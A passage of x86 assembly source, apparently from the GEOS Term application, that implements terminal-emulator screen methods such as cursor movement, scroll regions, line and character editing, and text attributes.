ret
ScreenSaveCursor endm
ScreenRestoreCursor method ScreenClass, MSG_SCR_RESTORE_CURSOR
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
mov ax, ds:[si][SI_saveCursorX]
EC < cmp ax, MAX_LINE_CHARS >
EC < ERROR_AE TERM_ERROR_INVALID_CURSOR_POSITION >
NCUR < mov ds:[si][SI_curChar], ax >
CUR < mov ds:[si][SI_curPos], ax >
CUR < call GetCurCharFromCurPos >
mov ax, ds:[si][SI_saveCursorY]
EC < cmp ax, MAX_LINES >
EC < ERROR_AE TERM_ERROR_INVALID_CURSOR_POSITION >
mov ds:[si][SI_curLine], ax
call DrawCursor
ret
ScreenRestoreCursor endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenChangeScrollReg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Scrolling region is the area between top and bottom
margins that moves during vertical scrolling.
CALLED BY: MSG_SCR_CHANGE_SCROLLREG
PASS: ds:*si - screen instance data
es - dgroup
ch - scroll reg top
cl - scroll reg bottom
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/31/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenChangeScrollReg method ScreenClass, MSG_SCR_CHANGE_SCROLLREG
;
; Scroll region bottom must be greater than scroll region top. If
; not, skip operation.
;
cmp ch, cl ;top >= bottom ?
jae done
mov si, ds:[si] ;deref to instance data
clr ah ;scroll region is byte value
mov al, ch
mov ds:[si][SI_scrollRegTop], ax ;store scroll reg top
mov al, cl
mov ds:[si][SI_scrollRegBot], ax ;store scroll reg bot
done:
ret
ScreenChangeScrollReg endm
;func 26
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenResetScrollReg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset the scroll region
CALLED BY: MSG_SCR_RESET_SCROLLREG
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Reset object instance's data SI_scrollRegTop and SI_scrollRegBot
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 1/16/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenResetScrollReg method dynamic ScreenClass,
MSG_SCR_RESET_SCROLLREG
.enter
mov si, ds:[si] ; dssi <- instance data
;
; Default scroll region is whole screen
;
clr ds:[si][SI_scrollRegTop]
mov ds:[si][SI_scrollRegBot], (MAX_LINES - 1)
.leave
ret
ScreenResetScrollReg endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRelCursorMove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move the cursor relative to the screen
CALLED BY: MSG_SCR_REL_CURSOR_MOVE
PASS: ds:*si - screen instance data
es - dgroup
ch - row position
cl - column position
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Should I check for illegal (> 24,80) cursor coordinates, yes
But not printing error message.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenRelCursorMove method ScreenClass, MSG_SCR_REL_CURSOR_MOVE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
cmp ch, MAX_LINES ;is col value okay?
jb checkCol ;yep
;
; Since the arguments can \E[0;0H, LoadArgs may change deliver it as
; -1, -1. So, we change it 0, 0 by default.
;
cmp ch, -1 ;set to zero row?
jne setDefRow
clr ch ; default to 1st row
jmp checkCol
setDefRow:
mov ch, MAX_LINES - 1 ;nope
checkCol:
cmp cl, MAX_LINE_CHARS ;is row value okay?
jb moveCursor
cmp cl, -1 ;line# zero? (converted to -1)
jne setDefCol
clr cl ;default to 1st col
jmp moveCursor
setDefCol:
mov cl, MAX_LINE_CHARS - 1
; jmp short moveCursor
;error:
; mov bp, ERR_CURSOR_MOVE
; segmov ds, es, cx
; CallMod DisplayErrorMessage
; jmp short exit
moveCursor:
mov bp, cx ;save cursor coordinates
call EraseCursor ;erase the old cursor
mov cx, bp ;restore cursor pos
clr dh
mov dl, ch ;get cursor's row position
mov ds:[si][SI_curLine], dx ; and store it
mov dl, cl ;get cursor's col position
NCUR < mov ds:[si][SI_curChar], dx ; and store it >
CUR < mov ds:[si][SI_curPos], dx >
CUR < call GetCurCharFromCurPos >
call DrawCursor
CUR <EC <call AssertCurCharCurPos >>
exit:
ret
ScreenRelCursorMove endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenInsLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Insert a line at the current cursor position
CALLED BY: MSG_SCR_INS_LINE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
scroll rest of the window down one line
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/17/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenInsLine method ScreenClass, MSG_SCR_INS_LINE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufScrollDown ;add blank line to screen buf
call BufClearLine ;clear cur line in buffer
call WinScrollDown ;insert a line on the screen
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
pop di ; retrieve gState
call DrawCursor ; redraw cursor
ret
ScreenInsLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenBackTab
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Moves the cursor backwards to the preceding tab position
CALLED BY: MSG_SCR_BACK_TAB
PASS: ds:*si - screen instance data
es - dgroup
ch - # of tabs to back up
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Move the cursor back to the prev tab stop
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/31/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenBackTab method ScreenClass, MSG_SCR_BACK_TAB
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
NCUR < tst ds:[si][SI_curChar] ;if cursor at col 0 exit>
CUR < tst ds:[si][SI_curPos] >
je SBT_ret
call EraseCursor
if HALF_AND_FULL_WIDTH ;-----------------------------------------------------
if CURSOR
mov cx, ds:[si][SI_curPos] ;get current col #
andnf cl, DIV_8_MASK ;how many spaces past tab
tst cl ;if not on tab then
jne SBT_sub ; go to prev tab
mov cl, TAB_STOP ;till next tab stop
SBT_sub:
mov dx, ds:[si][SI_curPos]
sub dx, cx ;get new cursor position
tst dx ;make sure its valid
jl exit
mov ds:[si][SI_curPos], dx ;update cursor position
call GetCurCharFromCurPos
exit:
else
push ax, bx, dx
call CalcCursorPos ; ax = X pos, bx = Y pos
mov dx, bx ; dx = Y pos
mov cl, {byte} ds:[si].SI_charWidth
div cl ; ax = char column
mov bx, ax
and ax, not 7
tst ax ; at beginning?
jz exit ; yes, do nothing
test bx, 7 ; at tab stop before?
jnz haveTab ; nope, move to this tab stop
sub ax, 8 ; else, move to previous stop
haveTab:
mov cl, {byte} ds:[si].SI_charWidth
mul cl ; ax = desired X pos
mov cx, ax ; cx = desired X pos
call ConvertToTextCoords ; cx = text column, dx = text
; line
EC < mov ax, ds:[si].SI_curLine >
EC < add ax, ds:[si].SI_winTopLine >
EC < cmp ax, dx >
EC < ERROR_NE -1 >
mov ds:[si].SI_curChar, cx ; new cursor position
exit:
pop ax, bx, dx
endif
else ;---------------------------------------------------------------------
mov cx, ds:[si][SI_curChar] ;get current col #
andnf cl, DIV_8_MASK ;how many spaces past tab
tst cl ;if not on tab then
jne SBT_sub ; go to prev tab
mov cl, TAB_STOP ;till next tab stop
SBT_sub:
mov dx, ds:[si][SI_curChar]
sub dx, cx ;get new cursor position
tst dx ;make sure its valid
jl exit
mov ds:[si][SI_curChar], dx ;update cursor position
exit:
endif ;---------------------------------------------------------------------
call DrawCursor
SBT_ret:
ret
ScreenBackTab endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenDelLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the line at the current cursor position
CALLED BY: MSG_SCR_DEL_LINE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Scroll the rest of the window up one line to overwrite
the current line.
*** Blank out the bottom line, cause even if VI puts stuff
to write there, with graphics not overwriting it'll
look dorked.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/17/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenDelLine method ScreenClass, MSG_SCR_DEL_LINE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor
call BufDelLine
call WinDelLine
pop di ; retreive gState
call DrawCursor ; show cursor
ret
ScreenDelLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenDelChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the char at the current cursor position
CALLED BY: MSG_SCR_DEL_CHAR
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: dx
PSEUDO CODE/STRATEGY:
Shift the current line starting from one past the
cursor postion back one character.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/17/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenDelChar method ScreenClass, MSG_SCR_DEL_CHAR
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufShiftLineLeft
call EraseRemLine ;HACK-no overstrike
mov ax, MAX_LINE_CHARS
sub ax, ds:[si][SI_curChar]
call DrawRemLine
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
call DrawCursor
ret
ScreenDelChar endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenInsChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Insert a char at the current cursor position
CALLED BY: MSG_SCR_INS_CHAR
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Shift the line from the cursor on one postion to the right.
Stick char at the current cursor position.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Is there a problem of the cursor being past the 80th char
on a line? Test wyse with a long line.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/17/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenInsChar method ScreenClass, MSG_SCR_INS_CHAR
call ScreenEnterInsMode
ret
ScreenInsChar endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenEnterInsMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enter mode that inserts the following characters onto the
screen.
CALLED BY: MSG_SCR_ENTER_INS_MODE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/26/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenEnterInsMode method ScreenClass, MSG_SCR_ENTER_INS_MODE
mov si, ds:[si] ;deref to instance data
mov ds:[si][SI_insertMode], TRUE
ret
ScreenEnterInsMode endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenExitInsMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Exit mode that inserts the following characters onto the
screen.
CALLED BY: MSG_SCR_EXIT_INS_MODE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/17/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenExitInsMode method ScreenClass, MSG_SCR_EXIT_INS_MODE
mov si, ds:[si]
mov ds:[si][SI_insertMode], FALSE
ret
ScreenExitInsMode endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Screen(Up,Down,Left,Right)Arrow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call routines to handle arrow movement keys
CALLED BY: MSG_SCR_ARROW_(UP, DOWN, LEFT, RIGHT)
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/15/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenUpArrow method ScreenClass, MSG_SCR_UP_ARROW
call ScreenCursorUpUnconstrained
ret
ScreenUpArrow endm
ScreenDownArrow method ScreenClass, MSG_SCR_DOWN_ARROW
call ScreenCursorDownOrScroll
ret
ScreenDownArrow endm
ScreenRightArrow method ScreenClass, MSG_SCR_RIGHT_ARROW
call ScreenCursorRight
ret
ScreenRightArrow endm
;func 9
ScreenLeftArrow method ScreenClass, MSG_SCR_LEFT_ARROW
call ScreenCursorLeft
ret
ScreenLeftArrow endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFunc(1,2,3,4)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call routines asscoiated with vt100 Function keys
CALLED BY: MSG_SCR_FUNC_(1,2,3,4)
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/15/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenFunc1 method ScreenClass, MSG_SCR_FUNC_1
ret
ScreenFunc1 endm
;func 11
ScreenFunc2 method ScreenClass, MSG_SCR_FUNC_2
ret
ScreenFunc2 endm
;func 12
ScreenFunc3 method ScreenClass, MSG_SCR_FUNC_3
ret
ScreenFunc3 endm
;func 13
ScreenFunc4 method ScreenClass, MSG_SCR_FUNC_4
ret
ScreenFunc4 endm
ScreenApplicationKeypad method ScreenClass, MSG_SCR_APPLICATION_KEYPAD
BitSet ds:[di][SI_modeFlags], SVTMF_KEYPAD
ret
ScreenApplicationKeypad endm
ScreenNumericKeypad method ScreenClass, MSG_SCR_NUMERIC_KEYPAD
BitClr ds:[di][SI_modeFlags], SVTMF_KEYPAD
ret
ScreenNumericKeypad endm
ScreenCursorOff method ScreenClass, MSG_SCR_CURSOR_OFF
ret
ScreenCursorOff endm
ScreenCursorOn method ScreenClass, MSG_SCR_CURSOR_ON
ret
ScreenCursorOn endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenBoldOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Turn on BOLD screen attribute
CALLED BY: MSG_SCR_BOLD_ON
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenBoldOn method ScreenClass, MSG_SCR_BOLD_ON
mov si, ds:[si] ;deref to instance data
or ds:[si][SI_attributes], mask CA_BOLD_LO
ret
ScreenBoldOn endm
ScreenUnderScoreOn method ScreenClass, MSG_SCR_UNDERSCORE_ON
mov si, ds:[si] ;deref to instance data
or ds:[si][SI_attributes], mask CA_UNDER_LO
ret
ScreenUnderScoreOn endm
ScreenBlinkOn method ScreenClass, MSG_SCR_BLINK_ON
;;replaced with CA_SELECTED - 8/21/90 brianc
;;(CA_BLINK has no effect anyway)
if 0
mov si, ds:[si] ;deref to instance data
or ds:[si][SI_attributes], mask CA_BLINK_LO
endif
ret
ScreenBlinkOn endm
ScreenReverseOn method ScreenClass, MSG_SCR_REV_ON
mov si, ds:[si] ;deref to instance data
or ds:[si][SI_attributes], mask CA_REV_LO
ret
ScreenReverseOn endm
ScreenUnderScoreOff method ScreenClass, MSG_SCR_UNDERSCORE_OFF
mov si, ds:[si] ;deref to instance data
and ds:[si][SI_attributes], not mask CA_UNDER_LO
ret
ScreenUnderScoreOff endm
ScreenReverseOff method ScreenClass, MSG_SCR_REV_OFF
mov si, ds:[si] ;deref to instance data
and ds:[si][SI_attributes], not mask CA_REV_LO
ret
ScreenReverseOff endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenNormalMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Put Term in normal mode
CALLED BY: MSG_SCR_NORMAL_MODE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Brian Chin suggested that the GState not be changed to reflect the
attribute byte. He thought that the GState should only be changed
when writing to the screen. Well there was a bug cause
WinClearToEnd and WinClear both didn't check the attributes.
I think that when setting the mode to normal the GState can be
changed immediately.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenNormalMode method ScreenClass, MSG_SCR_NORMAL_MODE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
if _CHAR_SET
;
; Normal mode only resets the character style attr, but not character
; set. It clears all these attrs.
;
andnf ds:[si][SI_attributes], \
not (mask CA_BOLD_LO or mask CA_UNDER_LO or mask CA_REV_LO)
call SetTextStyleNormalAttr
else
clr ds:[si][SI_attributes]
call SetNormalAttribute
endif ; _CHAR_SET
ret
ScreenNormalMode endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenGoStatusCol
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Go to the given column in the status line
CALLED BY: MSG_SCR_GO_STATUS_COL
PASS: ds:*si - screen instance data
es - dgroup
ch - col # to go to
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenGoStatusCol method ScreenClass, MSG_SCR_GO_STATUS_COL
ret
ScreenGoStatusCol endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenTermInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Terminal initialization string
CALLED BY: MSG_SCR_TERM_INIT
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 11/03/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenTermInit method ScreenClass, MSG_SCR_TERM_INIT
ret
ScreenTermInit endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSaneReset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset terminal completely to sane modes
CALLED BY: MSG_SCR_SANE_RESET
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 11/03/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSaneReset method ScreenClass, MSG_SCR_SANE_RESET
ret
ScreenSaneReset endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenScrollBufEmpty
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Empty out the scroll buffer
CALLED BY: MSG_SCR_SCROLLBUF_EMPTY
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
* When empty out the scroll buffer do you want to
* clear out the current screen? currently doesn't do that
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 12/05/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenScrollBufEmpty method ScreenClass, MSG_SCR_SCROLLBUF_EMPTY
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
if not _CHAR_SET
mov ax, ds:[si][SI_scrollLines] ;scroll selected text
call ScrollSelectRegion
endif
clr ax
mov ds:[si][SI_scrollLines], ax ;nuke scroll variables
mov ds:[si][SI_scrollTop], ax
mov ds:[si][SI_winTopLine], ax ;reposition current screen
mov ds:[si][SI_wrap], FALSE ;let ui scroll
cmp di, BOGUS_VAL
je exit
call GrGetWinBounds ;get top of window position
neg bx ;scroll back this amount
push di
mov dx, size PointDWord
sub sp, dx
mov bp, sp
clr ax ;don't scroll horizontally
mov ss:[bp].PD_x.low, ax ;zero x origin
mov ss:[bp].PD_x.high, ax
mov ss:[bp].PD_y.low, bx ;y origin in bx
mov ss:[bp].PD_y.high, ax
tst bx
jns notSign
mov ss:[bp].PD_y.high, 0xffff ; sign extend sword to dword
notSign:
GetResourceHandleNS TermView, bx
mov si, offset TermView
mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_STACK
mov ax, MSG_GEN_VIEW_SCROLL
call ObjMessage
add sp, size PointDWord
pop di
call WinInvalScreen ;redraw the whole screen
exit:
ret
ScreenScrollBufEmpty endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenGraphicsOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Turn on graphics features
CALLED BY: MSG_SCR_GRAPHICS_ON
PASS: ds:*si - screen instance data
es - dgroup
if RESPONDER
ch - 1st arg
cl - 2nd arg
dh - 3rd arg
dl - 4th arg
bp - Number of arguments passed
else
dgroup:[argArray] arguments:
endif
Character attribute in arguments:
0 : Turn off all attributes
1 : Bold Mode on
4 : Underscore on
5 : ScreenBlinkOn
7 : ScreenReverseOn
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
for (each numeric argument) {
Set the character attribute accordingly;
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 12/05/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenGraphicsOn method ScreenClass, MSG_SCR_GRAPHICS_ON
EC < Assert_dgroup es >
mov cx, es:[argNum] ; arg counter
mov di, offset argArray ; es:di <- argArray
setAttrLoop:
CheckHack <(size argArray) eq MAX_EMULATION_ARG>
EC < push di >
EC < sub di, offset argArray >
EC < cmp di, MAX_EMULATION_ARG >
EC < ERROR_AE TERM_TOO_MANY_ARGS_TO_FUNCTIONS >
EC < pop di >
mov ah, es:[di]
;
; Set the graphics attribute according to the arguments. If arg
; is not one of graphics attributes, ignore the argument and move on.
;
push si, di
cmp ah, 1
je boldOn
cmp ah, 4
je underScoreOn
cmp ah, 5
je blinkOn
cmp ah, 7
je reverseOn
tst ah
jz normal
jmp endOfLoop
boldOn:
call ScreenBoldOn
jmp short endOfLoop
underScoreOn:
call ScreenUnderScoreOn
jmp short endOfLoop
blinkOn:
call ScreenBlinkOn
jmp short endOfLoop
reverseOn:
call ScreenReverseOn
jmp short endOfLoop
normal:
call ScreenNormalMode ; si destroyed
